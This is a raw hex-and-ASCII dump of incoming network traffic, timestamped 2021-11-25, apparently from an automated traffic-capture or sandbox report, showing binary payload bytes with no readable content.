a6 89 a7 f1 b7 6a 4f df d4 2a 50 4f 65 ca e7 84 94 b1 1a dc 01 9b d9 44 6f 28 11 ab b4 93 8b 6f 9a e2 8d 6e 65 ed 7f 6c 5f 
2e dd fd 8f 6b cb cd ac b3 1e 1c d7 4c 82 1b 06 06 
Data Ascii: #OKNHddA$M;.L<9(V@}2T)oy@ZLCL@^/kV@A5Z+pLYiL_H^F#mCR+E&IdA%r+Jjzb"CVg@& ~sezjO
*POeDo(onel_.kL

2021-11-25 16:27:48 UTC 678 IN Data Raw: 6c 64 77 32 1c bf 2c 79 04 3f 11 31 66 9c 76 42 b0 57 8c de f4 07 af 41 8e 0e 0e 8a 41 29 8e 6f ba 07 5d c2 6f 
26 bc 4e 92 4a 6d 90 7b 13 5c 92 c8 b0 7d 5c b0 4b e1 da 69 92 54 de 94 67 36 39 d9 27 ac a1 9e 30 a5 d1 5f 1d c5 3d 85
4c 86 9d 0c ba a7 ed fd b7 93 4e 7b d4 9e 8c 87 ed c3 82 51 27 f2 90 2d 21 33 2c c3 16 1e 5c 38 7f 88 1f 7f d4 3f 24 f0 c8 
e4 33 99 c1 a3 f1 c9 e4 b4 3b ec be ec 56 42 96 3c 52 e6 0d 53 94 5a ff 60 f4 a6 3d 48 4b 3e e7 63 11 2a e3 de eb 5e ff 
0d 19 cb a5 a3 c9 d8 d3 6e a7 48 a3 3d e3 c4 27 28 0c 8f fb fd d1 ab 5e 31 24 5c e5 de 55 47 88 bc 2d a8 b1 62 de 8e 50 
8d 1b 1e 4e 0e 00 90 41 7a 47 7d b0 35 43 02 5f dc 53 0e cd 48 e0 14 a0 4d a7 e8 75 29 62 71 4f 87 c4 e3 46 dd e3 02 16 
4c 14 8f e9 31 68 06 1e 57 d6 ac 57 ec 8f c2 aa 09 
Data Ascii: ldw2,y?1fvBWAA)o]o&NJm{\}\KiTg69'0_=LN{Q'-!3,\8?$3;VB<RSZ`=HK>c*^nH='(^1$\UG-bPNAzG}5C_S
HMu)bqOFL1hWW

2021-11-25 16:27:48 UTC 679 IN Data Raw: d2 ae d2 f4 4b 4c b5 6b 58 bc 0b 7b 1d fe cc 4f 9a b0 18 0d 5a bd 77 7f ab 7e a8 3e 9e 61 48 59 4c 66 74 91 c6
73 9a 17 d5 58 6a b3 ea 2f b3 34 29 69 52 b2 81 bd e3 13 af 8d a5 9f cd ea e7 c3 d0 a4 07 ac a3 07 94 08 f6 d9 cb 4b 83 
97 a6 d9 e2 d4 51 7f 7f 4f fe f1 b0 a6 ba ae ff fd 7d 91 91 a4 fe 0b d1 16 39 7d fa f1 e1 6c 51 96 59 f1 e1 fd fb 62 9d 65 69 
5e 5e 7c a9 7c 73 31 4b 57 ef 67 7b 9f be 27 49 f1 95 e6 ef cd a0 ca ea 87 33 ad 24 f9 17 5a c2 7e fa 18 93 64 f9 70 56 03 
b3 97 68 33 2c 6a 81 1f 73 fa ef 75 94 d3 f9 0f 62 44 30 4c be fc 50 2c d2 af f8 f1 2f 65 9a 5d 14 eb a7 a7 68 16 61 72 97 
94 ce 1f c9 8c 41 55 2e 40 d8 3b 9e 63 da 78 a7 67 99 ba e7 1a 52 d0 55 b9 4e 49 bc 4f ee 25 c6 9b f0 c4 37 72 fa e1 37 
af a8 d2 e1 c6 2f ad 88 29 56 44 31 62 e5 
Data Ascii: KLkX{OZw~>aHYLftsXj/4)iRKQO}9}lQYbei^^||s1KWg{'I3$Z~dpVh3,jsubD0LP,/e]harAU.@;cxgRUNIO%7
r7/)VD1b

2021-11-25 16:27:48 UTC 680 IN Data Raw: 62 38 ec 75 10 c9 79 1a af 31 e4 3a 31 77 87 14 2f de 18 0d f4 ab e9 59 76 10 a0 45 75 1c 70 95 34 1a ba c3 
eb d6 ab 53 46 e0 f6 1e 93 22 98 86 83 3f 2c 0f ac 20 d3 0f 4f c8 88 36 66 e1 be 97 1e a4 cb 75 c1 a6 9a 66 64 b9 7e a6 
35 69 83 68 c1 3b 08 30 48 a0 c0 b1 6c 5f 72 59 b5 c6 73 45 b0 f0 72 b6 ae 60 20 82 6c cb b5 d1 93 3b 68 cb 3d cb 91 5d 
af 6e ae 1d dd 64 fd bb 6f 83 6d 21 bf 75 db 7d 23 6e df 10 21 f5 d2 ac 10 64 2b 51 3e 8f 93 bd ce 3a 51 54 38 df 90 7d d4 
b3 08 8e b4 e7 b5 36 ab 37 3d 56 94 39 6d 95 ce ea aa 95 8b bd 15 63 ff c4 69 d5 2f f6 70 88 57 48 51 31 a4 e7 79 45 c0 
0f 52 43 8f 77 95 39 ab 68 78 4b 74 e8 e1 2f 7e 4f af fe 46 33 5e 77 76 0a 57 bf dd 6b ff c6 f6 1a 59 b2 7e 8c 29 3a bd b4 
e4 6d b6 63 5a 6e dd da 39 10 c7 28 93 a6 ef 79 28 
Data Ascii: b8uy1:1w/YvEup4SF"?, O6fufd~5ih;0Hl_rYsEr` l;h=]ndom!u}#n!d+Q>:QT8}67=V9mci/pWHQ1yERCw9h
xKt/~OF3^wvWkY~):mcZn9(y(

2021-11-25 16:27:48 UTC 682 IN Data Raw: 17 0c ec 21 7c a4 90 df 9f 95 08 0b 74 7d 86 13 58 7a 80 ee 13 5a c5 94 98 be 8e cc c3 7d 01 1f 2b 15 20 f7 5d 
c3 70 74 9d 05 a6 24 ca af 1f c4 b5 85 e3 33 0d df d3 5d b6 e3 a2 b3 4d 08 1b ba c4 96 1c fd c0 4f 5b d9 16 c8 8a dd 73 
a8 b7 57 9b 75 1d af 48 01 d3 e3 08 1c 03 fd 33 3e fa d0 98 ea dd 98 87 5f dc dd e3 78 86 a9 07 a8 1d 2e 2b 70 0e 3b 33 
90 af 44 c8 a7 5c a8 b2 cf a4 de e9 e6 94 99 d1 59 c4 fd cd f6 8f b3 c3 35 8a fb 41 ef 5c 2b 68 be a1 39 db a8 f8 cf f6 5c ab
57 26 59 6b 4f 88 e5 af 24 
Data Ascii: !|t}XzZ}+ ]pt$3]MO[sWuH3>_x.+p;3D\Y5A\+h9\W&YkO$

2021-11-25 16:27:48 UTC 682 IN Data Raw: 8e eb 0d ce f4 a9 14 ba 23 d7 7a ad 11 6f bf d8 01 ac a7 fb be e5 a3 b3 60 9b 9c 72 5b 33 7a 63 fb f5 f5 c6 5a 
7a e4 1e f5 2e 1e 9e 16 db 69 76 ce bd 7e 17 76 ba ad e9 b0 3f 19 87 c3 69 ab d3 e9 8e bb fd 5e eb 76 da ee df dd 85 bd 
f1 e8 74 34 aa e3 76 19 67 d2 e9 f6 a7 ff 9a b4 6e bb e3 cf a7 08 aa 4a 2a 21 b4 5b bd 76 78 3b fd 38 19 8f fb 3d 79 0c f2 
19 b6 8c d0 ef 8d 31 01 8c 22 1c b1 39 9d 82 a8 9a 6b 09 a4 d3 ed 4c 7b fd f1 74 3c 94 a6 a1 52 e8 92 fd 65 18 76 3e b6 
da 37 d3 f0 ae d5 bd 9d 5e 76 c3 db ce 29 90 ea 68 ab 19 e8 b2 3f bc 9b 76 c2 51 7b d8 1d 28 a7 a5 d8 ed 6b 46 bb 0e 5b 
9d 70 78 8a a1 52 95 cd 18 83 61 ff 6e 30 96 dc 23 b7 7d cd 10 c3 f0 5f 93 ee 30 94 5c a3 ea 38 9b 51 c6 9f 07 e1 1b cb 
2d ef 0c 49 50 77 dd e1 b0 3f ec f6 ae ea d8 9d 8e 
Data Ascii: #zo`r[3zcZz.iv~v?i^vt4vgnJ*![vx;8=y1"9kL{t<Rev>7^v)h?vQ{(kF[pxRan0#}_0\8Q-IPw?

2021-11-25 16:27:48 UTC 683 IN Data Raw: ba e7 1c 7b 1f 2e 56 59 5c b2 14 3e 53 b6 c9 58 59 db d9 a6 6f 63 01 2e 4c 7c c3 74 3d cb 38 36 9c f2 95 90 37
d3 17 5c db 64 7c 51 b2 65 e5 a5 8c 17 5c 6c 44 9e f2 62 c5 6a 67 8e 69 1a b6 ee fa 96 65 c0 a5 6e 39 c4 d9 dd 0e 16 05 
2b e3 82 97 da 46 94 7c c7 4a 04 14 6b db 7c c3 13 76 a6 8d 44 be da e6 f8 59 db a5 a2 64 67 8d 63 47 0f 74 78 b6 3d 43 
f7 4d 3f 70 fc 37 a2 ac 4d 5c cb 75 7d d7 b3 65 56 ec c0 b6 3c 97 66 24 89 6b 93 54 d4 36 be 8e 24 9a 9e ed 3a 7e 60 3b 
9e e1 91 2d bd 4c 58 9e 62 05 cd f5 8e 6e 05 9e a3 23 e5 a6 6e ea 96 4f c2 ea 25 b1 86 5c 9d 3f 65 62 cd 1f 58 5e 54 69 
4b b5 52 7b 37 99 f6 c6 d3 f9 4d 34 b8 7e c7 36 49 bc 62 0f f1 32 d6 2e 85 78 4c b8 76 85 cb df 85 83 7e fd fb 2f ed d5 93 
51 6f f0 ee ef d5 0f d5 c7 13 44 b1 49 d8 03 7f 12 
Data Ascii: {.VY\>SXYoc.L|t=867\d|Qe\lDbjgien9+F|Jk|vDYdgcGtx=CM?p7M\u}eV<f$kT6$:~`;-LXbn#nO%\?ebX^T
iKR{7M4~6Ib2.xLv~/QoDI

2021-11-25 16:27:48 UTC 684 IN Data Raw: 57 f6 04 10 90 e8 5a 81 ed 5e d0 63 d5 f7 71 52 a1 6e 86 14 a4 52 cf e3 77 ad 84 94 df 57 e7 5a 66 12 1a 5f ac 
9b 7d d1 17 b8 f5 12 cb 49 39 fe d7 9a af f2 46 fb db 0e f0 da c7 b8 64 56 33 8e e3 53 e4 3f c0 e0 fd 28 21 3a 46 09 a9 89 
00 8c 81 69 39 c0 69 27 d0 a9 bb 08 8a 0d 0b ab 79 8e ed 89 0e 9e b1 38 81 fe 7d dc cf 43 e8 f8 7a 03 50 88 b2 e0 10 49 
c9 33 79 cb 78 2d 37 a2 59 2a 89 01 82 c8 f4 2c 3b 08 30 cd 38 0e 60 97 02 27 5c 6f d7 c9 32 2e 6b 7c b6 3d c9 95 08 d8 
c1 3f 96 07 4c 23 7b f8 bb 78 e5 20 3f 77 2f bb c2 db 48 0f 79 07 8c 01 08 45 c9 80 b0 03 c7 b2 7d 92 a9 83 3a 68 3a bf 0e
16 54 6d 5b ae 8d 91 cd c1 d4 e6 59 0e 4d 32 19 be 1c dd 94 93 9d 6f 83 2c a0 e9 74 db 25 65 77 55 b2 a4 2e 3a 75 fb a2 
78 ea 8e 05 3c 2c 25 30 bc ea c9 b5 38 44 da 33 
Data Ascii: WZ^cqRnRwWZf_}I9FdV3S?(!:Fi9i'y8}CzPI3yx-7Y*,;08`'\o2.k|=?L#{x ?w/HyE}:h:Tm[YM2o,t%ewU.:ux<,%08D3

2021-11-25 16:27:48 UTC 685 IN Data Raw: a8 06 52 b0 f2 58 b7 b9 18 93 81 e1 04 16 86 58 1f 12 d2 35 09 b3 ed 8b 8c 3e 64 f4 b1 0f 01 5a d3 35 0c 47 
d7 65 ad 11 4d 18 e5 ab fd 79 ac ef e9 ae 1c b5 75 39 89 da e0 5f 9b 64 af 1a 2b 81 e6 18 d1 2a b5 2b cf 79 12 f5 79 4a 
0d 10 81 14 87 28 03 03 c3 15 3e fa 50 4e 6f e1 b9 ca 51 ed c7 c0 80 8d 2e 77 25 ce 38 f2 a4 93 c4 26 4f 7c e2 35 ab 19 
a7 39 69 78 21 ea 4d 75 5a 26 5e 3d 0f d6 ee 46 03 79 8c d8 7e 23 f7 78 93 89 ff fe 9f d3 86 36 31 bc 62 4a d5 76 f1 a2 a2 
53 fc f6 98 31 8c 15 70 23 c1 52 68 83 de a4 d6 f9 f2 b1 8d a7 fb be e5 43 de ca 83 29 2a a0 47 1d 67 0c 87 ba a4 4a 68 
75 3a f2 fa 30 04 3f 40 70 b7 49 bd 0d fb 51 6f 3e 1e ce a6 e1 78 de eb f7 a3 69 34 1c f4 6e e6 e7 c3 db db 70 30 9d 1c df 
59 f5 0c 8e fa 99 f5 a3 e1 fc 5f b3 de 4d 34 fd 72 
Data Ascii: RXX5>dZ5GeMyu9_d+*+yyJ(>PNoQ.w%8&O|59ix!MuZ&^=Fy~#x61bJvS1p#RhC)*GgJhu:0?@pIQo
>xi4np0Y_M4r

Timestamp
kBytes
transferred Direction Data
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2021-11-25 16:27:48 UTC 687 IN Data Raw: dd be cd 05 b4 38 92 b9 96 48 2d 1f 32 bc 30 40 d0 d4 c8 36 ce b1 7c 92 8c 00 67 e8 bf 5f 0d a7 c7 ac 66 55 
53 64 ac 28 bb 87 00 0a 4d 4e 57 77 bd 9f 3d df f6 a4 90 3e 78 63 9d 34 de 5b 25 ac 2c f6 9e 77 be ed fd 5a dd dc cc df 
57 f0 79 ef ed 57 61 64 51 ff d5 a2 fe 6b f4 f2 af 5c fe 55 ab ef f5 f2 b3 0d cd 37 9d d5 43 da ee dd ed 77 f6 a4 92 3a d8 22 
78 55 28 ed 0b 1b 94 60 b7 9a 2f d7 54 4b 60 1e 01 6b be d2 06 43 7e d7 c0 6f 7e 58 7d b6 cd f7 cb d5 c6 e2 d5 97 cb af 
dc ea e7 74 8b 8b 15 3a f1 07 89 4e d3 a0 46 e1 c5 8d e4 8a 3a 71 71 7c 74 b1 fc 41 a0 b3 ba e6 d1 5f 22 61 80 24 ce 17 
ce 38 a1 65 10 85 65 e9 52 21 82 cf 11 44 bf 22 7e 3c f9 1c 6d 1e b9 85 36 b7 8a 20 29 9a 73 18 e5 0d 88 81 83 23 78 a9 
5c a1 e5 06 06 61 ce 63 72 ab d5 4e 46 75 08 e6 97 
Data Ascii: 8H-20@6|g_fUSd(MNWw=>xc4[%,wZWyWadQk\U7Cw:"xU(`/TK`kC~o~X}t:NF:qq|tA_"a$8eeR!D"~<m6 )s#x
\acrNFu

2021-11-25 16:27:48 UTC 688 IN Data Raw: 9c 98 dd c7 53 a2 42 54 63 8d 13 43 95 4d ba a2 cc 61 4b 95 58 0a 7c ca fd 66 05 4a 28 9b ca 4f 34 7d 6d 51 
0b 3b 20 5c 22 88 07 42 e2 fd 9d 54 4d 66 f7 b4 f9 d7 fe 2e 2b d7 a5 28 59 40 2c b9 c6 e6 a8 59 95 9c 1d d7 ab 70 71 63 
91 9c 0c 5b 3c 54 6d c1 84 61 4a 20 80 25 e4 4d 09 8e b4 56 98 90 9d 30 a2 75 53 1d c4 fe 68 de 69 66 3f 47 ac 61 44 0b 
5b 75 92 23 b3 c7 c7 6c b5 e8 29 5a 76 ba c8 e8 84 c5 07 c7 29 be c5 a4 d3 eb 3c 62 24 d2 e1 c3 e0 83 53 93 21 b2 ee 
1e a5 7d 06 6f ba 45 c9 c0 e8 58 92 4a 0a 61 bb 3a c4 07 30 33 96 51 bd 8d 41 64 6a 72 12 aa fc 00 43 f2 d2 86 e3 43 5c 
95 5e 30 52 95 54 83 24 fa 25 c5 ef 92 00 46 65 e8 44 0b b1 04 18 5c 4f c5 2a c2 d8 ee 86 b9 2a 71 0c 49 f5 6a b9 b0 c0 
32 93 33 0d 09 e3 36 fb 04 bc 9a 5a d9 b4 96 b6 9f 10 09 1d 
Data Ascii: SBTcCMaKX|fJ(O4}mQ; \"BTMf.+(Y@,Ypqc[<TmaJ %MV0uShif?GaD[u#l)Zv)<b$S!}oEXJa:03QAdjrCC\^0
RT$%FeD\O**qIj236Z

2021-11-25 16:27:48 UTC 689 IN Data Raw: a4 5a c3 4c cd c7 cd 1a c8 a6 be 6c a2 8c d5 10 23 40 46 9f 19 b9 fc 33 9a 8c 38 6e c2 4d 64 a6 3a 82 85 30 
1a da c7 9e 9c a5 84 7c bc c1 59 67 bd 0d 10 fa 3a 09 61 1e 38 60 88 f6 ee 1b 76 4d 84 9d c9 74 73 a5 8d ea 00 89 7f 53 
77 76 4e 02 17 7d 90 aa 50 de 6a c1 08 27 da 3d a9 cc de d3 8d 49 cd 72 36 53 6b 4e 11 20 36 2f b4 0e 10 a6 83 a1 f1 41 
b0 92 ac 34 41 b5 e0 6d 17 b2 88 4b 47 84 d4 0b 1f 1e 19 13 a6 99 58 31 75 6f 3c c3 81 2d 70 20 eb b6 0a 23 f0 9c 02 52 
ca f6 f8 ff f9 e3 01 49 1b 60 e0 14 26 73 ed 2c 6d cc 33 74 ca 32 39 17 fd d9 0e c4 7d 4f 89 96 27 66 86 b6 90 98 39 b9 24 
b8 42 97 6b b8 e0 83 6e f1 3b 2d 19 53 58 46 3e 68 cb b2 03 62 70 32 ed 84 87 a9 ee a9 51 a7 9a 94 14 76 70 eb 1e 63 
c3 94 b8 91 1b 6e 59 9f 29 ec a4 53 50 f8 08 4c 28 db 21 
Data Ascii: ZLl#@F38nMd:0|Yg:a8`vMtsSwvN}Pj'=Ir6SkN 6/A4AmKGX1uo<-p #RI`&s,m3t29}O'f9$Bkn;-SXF>hbp2Q
vpcnY)SPL(!

2021-11-25 16:27:48 UTC 691 IN Data Raw: 8e f2 92 cf c5 69 04 ca 74 f0 6a 30 7c 4d d6 72 05 7d b2 f6 bc df 2b f3 d6 9e 49 79 32 10 c6 a7 c3 e1 e4 e5 a0 
1c 13 aa 72 2f e9 23 40 de 94 d4 59 31 ef df 58 ae 1b 1f cf 8e c0 20 83 f4 4e 86 e0 6b c6 c4 7c 71 b7 47 da 95 40 29 b0 36 
bd 72 d0 a7 16 8b bb 16 94 ae 9b f4 4f 4b 38 30 51 3c 66 68 a5 5d 78 ba f4 66 83 f2 70 12 4f 4d e8 c3 bc df 0f 2d fe 6e 21 
1b bf dc 3d 3c 2c cf 26 dd 17 27 44 77 b8 29 a3 3c 9c e3 e1 90 9c 84 cb 93 f3 10 ce ca d1 11 60 45 d0 61 de a7 b7 01 c8 
70 48 3c 18 53 e7 c8 03 98 0e fa 10 2a 9c 9c f4 8f fb 0c 4d b8 6b 1e 1c ac 5e 7f 7c d8 1d f5 6a 4e 1d f5 47 a7 5d 4e 15 b9 
ab 7c 1c ac a3 fe a0 5c 9a 97 19 68 f6 80 71 3e 5c ff 9d 03 b4 84 91 71 f2 4c 59 97 03 31 e8 d2 f0 8b be ed 8b 5b 39 7c 45 
4d 3c 7d 57 09 b7 72 54 d6 06 96 c1 9b bb 
Data Ascii: itj0|Mr}+Iy2r/#@Y1X Nk|qG@)6rOK80Q<fh]xfpOM-n!=<,&'Dw)<`EapH<S*Mk^|jNG]N|\hq>\qLY1[9|EM<}WrT

2021-11-25 16:27:48 UTC 692 IN Data Raw: cc a3 7f 6f e2 3c 9a 1d d5 16 41 30 5d 1c 15 0f d9 6f 78 f9 8f 32 5b 1f 17 9b f9 3c be 8f b1 b8 6e 14 cd ee c2 7b 
ae aa 72 01 22 db b4 4d cd c0 9c b6 ae 29 b6 a5 92 68 fa 5c 22 04 91 ef 61 1e b1 65 b6 5a 41 0b 1e f3 f7 7f 79 27 a5 8e 
56 ff 68 27 b4 7a 27 24 96 4a 77 62 d7 ff ff 43 37 99 ae aa 2b ae a9 38 8e 66 b8 9a aa 12 0c f0 b6 77 f9 63 59 8f 76 0d cb 
56 90 6f 48 52 db 51 5c dd 20 70 f5 b5 82 d3 1a 79 d6 cf 70 aa 69 2e 04 15 17 78 65 5a 9a 06 51 02 a7 df 06 f0 55 70 16 
c0 59 e3 d1 e1 3a d9 e4 61 72 98 cd e7 45 54 be 57 d9 07 e5 db 45 98 2e b2 4d f9 f4 41 6d 1e d9 2a 9a b1 6f fd e1 b9 d7 
0b 7e f5 87 4f 4f 1f b4 b6 57 2c bb 7f 60 6a 65 dc 53 56 3e 44 f9 9b 03 ff 29 06 3e 09 db 0d 03 50 a6 a8 d8 1e 0d 50 63 29 
04 a4 4f f3 90 7d d9 68 8a aa b3 d9 76 26 84 
Data Ascii: o<A0]ox2[<n{r"M)h\"aeZAy'Vh'z'$JwbC7+8fwcYvVoHRQ\ pypi.xeZQUpY:arETWE.MAm*o~OOW,`jeSV>D)
>PPc)O}hv&

2021-11-25 16:27:48 UTC 693 IN Data Raw: ac 32 91 ff 00 15 02 ad 4b 11 4a b3 d7 15 a3 02 32 26 f8 43 f2 75 33 3b ae 27 b3 d0 fb 19 a0 5d 28 08 1a 7f 92 
95 02 6e 35 30 36 12 93 9a 88 58 01 e9 5b fe 2a 65 bf 45 77 77 35 d9 a9 66 01 3c 37 4b 01 9f c2 26 00 60 40 75 c0 ee 5c 
42 f4 47 0d ac 3c 67 00 e7 2f 45 cd 42 7e c8 23 d1 8d 21 ee c3 e2 47 a1 d4 42 eb a8 a2 5f 85 9f 1c c5 54 80 ea ed 91 d3 
04 41 f7 5a c8 da 40 69 b8 96 97 3c 2c 56 73 4d b2 dc 8b b0 da 8d 98 37 a3 82 6a 83 16 82 6c 9a 2a b6 05 f8 8e c2 65 90 
c0 eb d4 8e 89 17 b5 04 22 54 83 81 48 30 c7 40 60 a8 64 dd ed 25 ee 2e e2 cc 98 3b b1 da 4f b1 4f 96 82 a0 05 8f 07 35 
75 e1 47 44 1a d1 e8 bd 30 06 ee 42 7e 14 55 d7 97 82 e5 20 7d dc 83 fc c7 86 26 ec 13 96 7a 1e c7 e2 27 49 40 5d 87 1f 
c0 58 3a c9 92 9f 58 ff 8e f3 ab 32 cb e3 a2 46 5f cb 
Data Ascii: 2KJ2&Cu3;'](n506X[*eEww5f<7K&`@u\BG<g/EB~#!GB_TAZ@i<,VsM7jl*e"TH0@`d%.;OO5uGD0B~U }&z'I@
]X:X2F_

2021-11-25 16:27:48 UTC 694 IN Data Raw: f6 a6 93 91 77 ee 4b d2 89 5c e2 10 35 23 4e 36 e4 e0 22 2b 22 72 f9 ab fe 39 81 47 49 3b 21 11 1e 4f 06 d3 
9b 60 14 9c 06 55 90 b5 6e a9 e4 7b 08 aa ad df 1d df 7a c3 f6 c8 97 95 37 a2 65 d2 bb ec f5 6f 89 ac ac 49 23 b2 37 41 
c7 6f 47 7b 09 8b 68 d1 30 ba ee f7 c7 17 3d 7f 44 bc 2a fb 8a 86 28 f9 ec d3 62 25 b9 8a ad e4 46 e7 d3 2e 00 19 d1 3b 
ee a3 d6 8c 08 7c c9 6e 24 1a 49 78 0a 68 d3 f1 7b 01 45 2c d9 15 ca 6b b9 71 70 ed c3 60 92 78 92 83 a9 46 f0 ba aa 66 
3d ff 6c 5c 5b 4d fc 23 f9 46 68 47 f8 19 21 45 5d f6 ce ce fc c1 d8 3b bd 22 b9 23 3b c0 6b d7 73 de ef 13 4b 64 fc b2 5d 
c3 c0 1f 76 b1 2a b2 1c c9 37 46 6f 28 e9 f7 49 05 93 90 f1 76 05 93 5e 00 aa 70 75 15 9c 07 12 9f c8 ee 71 64 ba 3a c1 
e8 cc 1b 76 f8 4e 75 83 e1 b5 27 4b 45 d9 f5 9e 4c 57 
Data Ascii: wK\5#N6"+"r9GI;!O`Un{z7eoI#7AoG{h0=D*(b%F.;|n$Ixh{E,kqp`xFf=l\[M#FhG!E];"#;ksKd]v*7Fo(Iv^puqd:vNu'
KELW

2021-11-25 16:27:48 UTC 696 IN Data Raw: 87 f3 f3 75 ba 5c 26 ab cd d9 38 8b cd d9 7d 32 3f bf 3f 84 f5 5c 2c d6 db 68 75 ae 7b 59 11 7e 3f 51 36 62 35 
8e 36 b0 1f de cd c4 62 fa fd a4 74 4c 0f 51 ee 67 62 bd c6 97 ab e8 9f 69 bc 8a 46 ef 8b 19 c1 70 31 7e bf 9e 24 5b 7c f9 
97 4d b2 3c 5b a7 0f 0f f1 7d 8c c5 35 a3 68 74 27 ee c9 55 16 02 a4 b8 e5 58 ba 89 67 3a 86 ae 3a b6 c6 52 ac 2d 92 45 
51 b4 62 24 3e fc e9 0d 94 c6 57 fb 77 1b a0 17 1b 20 99 a0 74 03 5e 86 fd 7f 18 1d cb d3 0c d5 b3 54 d7 d5 4d 4f d7 34 
86 01 17 13 01 e8 28 46 7b a6 ed a8 28 3f 14 ac e3 aa 9e 61 1e 8f be 14 f1 26 9d c7 d3 c2 40 f7 30 5c f5 00 53 96 ad eb 
30 60 c0 f9 e3 1a 11 0a ea 01 42 d4 ef 9d 2e 67 e9 4a cc 4e 93 87 87 75 b4 f9 a0 29 1f d5 1f 97 62 31 4e d2 cd d3 47 ad 
fc a8 a0 56 7f 74 ba 17 b5 30 f8 e6 77 9f 9e 3e ea 
Data Ascii: u\&8}2??\,hu{Y~?Q6b56btLQgbiFp1~$[|M<[}5ht'UXg::R-EQb$>Ww t^TMO4(F{(?a&@0\S0`B.gJNu)b1NGVt0w>

2021-11-25 16:27:48 UTC 697 IN Data Raw: a7 c2 0b fc 78 2e a4 82 85 fa 07 29 33 27 97 05 e8 1e 4a 6b 4d 8d 24 fd 9e 13 f1 a4 14 b5 e5 9c a7 d4 87 2b 
13 fc e5 ac 78 84 8d 2e ca 84 c0 01 3c eb f4 89 03 33 42 4c d4 90 52 1a 66 d5 9b 8e 26 69 7c 3e e8 b6 5e cd 15 02 05 d2 
01 00 00 e9 00 c9 e4 31 c1 dc 27 eb d7 74 3e 29 50 5b f9 05 2b 27 f4 8f a6 d1 7e 2b 7e cd 5d da e8 b6 34 b4 78 08 83 ab 
5a 2a d0 f5 8d 24 c0 d6 36 db b9 9d 03 bc 44 d4 88 65 b0 22 dd b3 d8 9a ae e2 71 3a 46 60 f6 44 83 cb 6c 7f 97 a2 04 12 
8f 24 9c a5 21 f6 c0 5c 90 88 c9 12 a9 4d 34 5c 0c 46 b2 a1 b5 07 d6 bb ae 89 5d d7 d8 b2 2b 99 26 87 6a 50 37 01 75 e6 
cd 56 91 89 10 c3 90 79 1e 42 88 14 62 de da a4 6d 69 de bb 03 e6 af f1 79 81 14 1a 27 fb 6d b6 94 1e a9 00 7c df cc 05 
c0 31 19 db a8 2c 3a 81 01 52 ba 74 86 61 1b 2c f1 7f 53 
Data Ascii: x.)3'JkM$+x.<3BLRf&i|>^1't>)P[+'~+~]4xZ*$6De"q:F`Dl$!\M4\F]+&jP7uVyBbmiy'm|1,:Rta,S
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2021-11-25 16:27:48 UTC 698 IN Data Raw: 91 d1 83 dc be d5 b9 60 f0 28 91 fd 12 e3 fe e0 7a 78 13 f4 82 cf 41 96 64 95 5b 2a b9 eb e7 de 3a cd fe 6d ad 
5b 9d f9 32 f6 62 5e 06 e1 55 d8 b9 65 b6 b2 4e 8a d9 de 04 0d bf 1a ed 25 8a a0 c2 43 af dd e9 f4 2f 43 bf c7 a2 2a 7b 27 
84 39 f9 ea 73 b2 92 5c 33 66 76 bd 8b 61 13 80 8c ec ed 77 c0 35 3d 06 5f b2 a3 fa d2 12 91 02 da 34 fc 30 e0 88 25 bb 
59 78 6d d7 0f da 3e 26 cc 0a 4f 72 50 54 1a b6 33 36 0b fd 7a bf 98 35 8b 8f e4 85 97 17 c6 07 84 cc 79 b9 56 af fb d7 fd 
da e7 16 ab 1d d9 89 5a b5 9f 8b 4e 87 cd 44 a6 16 ab 3d 5c fb dd 26 56 c5 96 23 79 79 e6 0d 27 9d 0e 63 30 89 8a ae 76 
30 08 03 48 85 56 2b b8 08 24 31 91 5d 7a c8 7c 35 82 5e bd d6 6d d0 4e 35 83 6e bb 26 2b 45 d9 35 97 cc 57 33 08 fd 
0c 5e 86 a8 ec 50 42 3e b2 a3 1d 99 a3 cc 47 05 c9 
Data Ascii: `(zxAd[*:m[2b^UeN%C/C*{'9s\3fvaw5=_40%Yxm>&OrPT36z5yVZND=\&V#yy'c0v0HV+$1]z|5^mN5n&+E5W3
^PB>G

2021-11-25 16:27:48 UTC 700 IN Data Raw: 44 53 0e 61 b9 fa a5 13 d7 3d b9 e8 0e 7f f8 69 bd 84 f5 e3 01 70 ed e3 fb c5 d5 ea dd cd fb 37 ab db bb 35 bb 
aa 05 ae ff 73 75 f3 e1 7e f5 e1 7e cd bb 92 cb d5 60 f2 b5 5a 7f bd 61 30 f9 81 46 3f 60 29 98 83 2f 5f 12 1b 39 ff f8 6e 7b 
2f ff 72 bc f8 eb eb 4f 2b 21 c4 5f 8e ef 3e 2e 3e 54 ff 59 74 de dd ae ae 7f 7e 7d f0 ee fe fe e3 dd d3 e3 e3 bb 4f 1f 3f de 
dc de 1f bd 5d 6f f8 d1 d5 cd 6f c7 57 5f 77 e5 78 f1 e1 ee 5f ab db 63 15 d6 6e fb f5 41 e7 7e 71 fb 76 75 0f e3 e7 cb f7 8b 
0f ff 7c 7d 50 11 2e 5e d2 b9 7a bf b8 bb 83 2f 6f 57 ff f7 e9 d7 db d5 9b 27 71 46 30 f0 c3 db 27 77 ef 6e fe 05 5f fe cf fd cd
c7 a3 bb 4f d7 d7 bf 5e fd 0a 8b 3b 59 ad de 2c 17 57 05 a9 35 0b c0 5a d9 cc 2a 03 ef cc b4 12 99 93 0d 2a 75 a5 88 ed 
30 58 20 91 cd c7 ee 3a ea 
Data Ascii: DSa=ip75su~~`Za0F?`)/_9n{/rO+!_>.>TYt~}O?]ooW_wx_cnA~qvu|}P.^z/oW'qF0'wn_O^;Y,W5Z**u0X :

2021-11-25 16:27:48 UTC 701 IN Data Raw: 85 4e 31 10 4a c8 4f 33 f0 a9 55 56 5b e5 9c 22 27 b2 cd e8 1d f5 ed c7 09 06 bf 34 1a c6 7e 4d b3 25 4a fb b5 
78 10 f7 52 e0 bc 03 13 d2 2f 0d 19 fd 86 52 fa fe 35 5e 63 95 17 3e 28 a1 d6 cd 01 d6 f3 b9 e4 7d 64 e4 8f 54 e2 2e 0a 45
5a ab a0 b4 0d de d9 20 e8 f2 63 1a 1f c7 e6 18 a9 8a 0d 4b 1e 10 e2 7c 3b 5e 35 cf 8c e9 4f 21 4e 97 d6 85 ff b3 82 19 
40 24 33 6d 42 10 5e 59 ab 24 9f cf 2e 27 8d a3 16 26 6d 4d 13 2b 78 f5 ad d8 5c 4e 2a 2b 0a 37 20 27 16 fe e8 4c 80 dc 
7c e7 12 c0 7f 9f 32 b5 2d 48 18 30 2a 21 03 4f e8 4c 16 ac 36 be c1 b0 b4 8a e2 13 b0 a5 e6 6a e2 d7 cb ed 3d e6 fc c7 
